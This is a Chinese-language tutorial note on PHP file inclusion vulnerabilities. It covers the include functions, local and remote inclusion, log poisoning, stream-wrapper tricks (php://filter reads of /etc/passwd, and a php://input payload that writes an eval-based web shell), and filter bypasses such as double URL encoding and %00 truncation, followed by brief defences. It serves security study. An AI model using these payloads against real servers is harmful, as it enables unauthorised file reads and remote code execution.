Note
文件包含: 开发人员会将重复调用的代码写入一个单独的文件中,以此来降低代码冗余,降低代码后期的维护难度,同时还能保障整体的风格统一。
产生原因: 文件包含的函数加载参数没有经过严格的过滤和定义,可以被攻击者进行利用,导致执行了攻击者的恶意代码。
1. PHP 文件包含
PHP中提供了四个文件包含的函数:include、require、include_once、require_once
include- 该函数用于将指定文件包含到当前脚本中,并将其中的内容解释执行。
- 异常时:抛出警告,程序继续运行。
<?php include 'filename.php'; ?>require- 该函数用于将指定文件包含到当前脚本中,并将其中的内容解释执行。
- 异常时:报错,程序停止运行。
<?php require 'filename.php'; ?>include_once- 该函数与include()函数类似,用于将指定文件包含到当前脚本中,并将其中的内容解释执行,但是只会包含一次,避免重复包含。
- 异常时:抛出警告,程序继续运行。
<?php include_once 'filename.php'; ?>require_once- 该函数与require()函数类似,用于将指定文件包含到当前脚本中,并将其中的内容解释执行,但是只会包含一次,避免重复包含。
- 异常时:报错,程序停止运行。
<?php require_once 'filename.php'; ?>
2. 文件包含漏洞类型
2.1 本地文件包含
攻击者利用 web 应用程序的漏洞,将包含服务端本地文件路径的输入注入到应用程序中,导致应用程序在包含文件时,可以读取包含文件中包含的任意本地文件,从而获取敏感信息或者执行恶意代码。
常见敏感信息路径
2.2 远程文件包含
攻击者可以通过包含远程服务器上的文件来执行恶意代码。
想要利用远程文件包含,需要 php 的配置文件中,将 allow_url_fopen 和 allow_url_include 配置为 On
allow_url_fopen:控制着是否允许使用fopen()函数通过 URL 打开远程文件,包括打开本地文件系统以外的 URL。allow_url_include:控制着是否允许使用include、require、include_once、require_once等PHP文件引入函数来引入远程文件,包括打开本地文件系统以外的 URL。
3. 利用方式
3.1 利用日志文件
当已经爆破出中间件的日志记录文档路径,可以利用 php 文件包含特性,去恶意利用日志文档来暴露信息。步骤如下:
- 爆破获取中间件的日志记录文档路径。
- 在访问网站时,恶意构造 url,使其包括
<?php phpinfo(); ?>等类似内容。并进行访问。
此步骤最好使用 burpsuite 来进行访问,如果通过浏览器构造恶意代码,<>等字符会被转义为 URL 编码,后续利用会失败。 - 使用包含恶意代码的 url 访问后,恶意代码会被写入到记录日志中。
- 具备文件包含漏洞处,直接包含日志记录文档,完成利用。
3.2 利用PHP伪协议
3.2.1 php://filter
php://filter是PHP中的一个输入输出流过滤器(input/output stream filter),可以用于对数据流进行过滤和转换。
php://filter/<filter_name>/resource filter_name:要使用的过滤器名称resource:要进行处理的数据源,可以是文件路径、URL 或其他支持的数据源。- 过滤器的输出会被返回,可以通过
file_get_contents或fread等函数读取。
利用方法:
通过base64编码,尝试获取指定页面的内容,进行代码审计。
http://example.com/page.php?url=php://filter/read=convert.base64-encode/resource=/etc/passwd 特点:
- 无需依赖
allow_url_fopen和allow_url_include
3.2.2 php://input
php://input 可以获取 HTTP POST 请求的数据。可以通过 HTTP POST 请求提交恶意代码,然后通过该伪协议读取并执行。
利用方法:
在存在文件包含漏洞处,直接添加 php://input,然后再 post 数据包中输入恶意代码。
url:http://example.com/page.php?url=php://input
post data:
<?php fputs(fopen("shell.php", "w"), "<?php eval(\$_POST['a']);?>") ?> 特点:
- 需要开启
allow_url_include - 如果使用了:
enctype="multipart/form-data",此伪协议无效。
3.2.3 zip://、bzip://、zlib://
这三个伪协议分别可以用于读取 zip、bzip2、zlib 格式的压缩文件。
zip://archive.zip#file.txt
bzip://archive.bz2#file.txt
zlib://archive.gz#file.txt archive是不同格式的压缩文件file.txt是压缩文件内的子文件名。同时可用 php 文件包含的特性,只要文件内有符合 PHP 语法的代码就会执行。- 上述所有的压缩文件都需要使用绝对路径
- 如果使用浏览器进行访问,需要将
#通过url 编码进行转移,结果为%23
特点: - 需要开启
allow_url_fopen
3.2.4 phar://
协议是 PHP 的一个内置封存协议,用于在 PHP 中访问 Phar(PHP Archive)文件,它可以访问 Phar 文件中的内容,如类、函数、静态资源、配置文件等。
但是对于文件包含漏洞中,使用方法和压缩协议类似。
phar://archive.zip/file.txt - 压缩文件可以使用绝对路径或者相对路径
特点: - PHP版本大于
5.3 - 无需依赖
allow_url_fopen和allow_url_include
3.2.5 data://
可以将数据转换为流的伪协议,常用于将内存中的数据作为文件来处理,常见于图像、音频等二进制数据的处理。
data://text/plain;base64,<base64-code> 使用 base64 编码,将恶意代码传入。恶意代码内容也可以是具备恶意代码的文件。或者,获取服务器的某个文件内容。
特点:
- 需要开启
allow_url_fopen和allow_url_include
3.2.6 file://
用于在文件系统中读取文件,只能在本地文件系统中使用。可以使用绝对路径或者相对路径。
file://<file-path>/<file-name> 特点:
- 无需依赖
allow_url_fopen和allow_url_include
3.3 其他绕过方法
3.3.1 url 编码绕过
如果目标系统存在 WAF 或后端对访问的 URL 进行判断,可以尝试使用 url 编码进行绕过。
假设一个网站存在本地文件包含漏洞,网站使用 PHP,并且有一个页面 view.php,该页面接受一个参数 file 用于动态地包含文件内容展示给用户
正常访问情况: http://example.com/view.php?file=welcome.txt
试图访问:http://example.com/view.php?file=/etc/passwd,如果有基本的安全措施,可能会访问失败。可以尝试使用:http://example.com/view.php?file=%2Fetc%2Fpasswd
如果单次 url 编码依旧被识别并阻止,可以尝试使用多次 url 编码,可以尝试使用:http://example.com/view.php?file=%252Fetc%252Fpasswd,对 % 继续用 URL 编码。
3.3.2 %00 截断
非常常用的方法,需要满足 magic_quotes_gpc=off,PHP 版本小于 5.3.4
%00 会被认为结束符,后面的数据会被忽略。可以通过此方法绕过扩展名过滤。
例如:http://example.com/view.php?file=/etc/passwd%00
3.3.3 长度截断
目录字符串,在 window 下256字节、linux 下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
可以尝试构造 n 个 ./ 构造出超长的路径,来进行后续内容的截断。
4. 防御修复
- 尽量不使用动态包含,不开启
allow_url_fopen和allow_url_include。 - 对于文件包含进行限制,使用白名单方法。
- 严格检查用户输入,不允许出现
../和./等目录跳转符 - 最好前后端都要对输入的内容进行验证与过滤。不可仅在前端进行判断。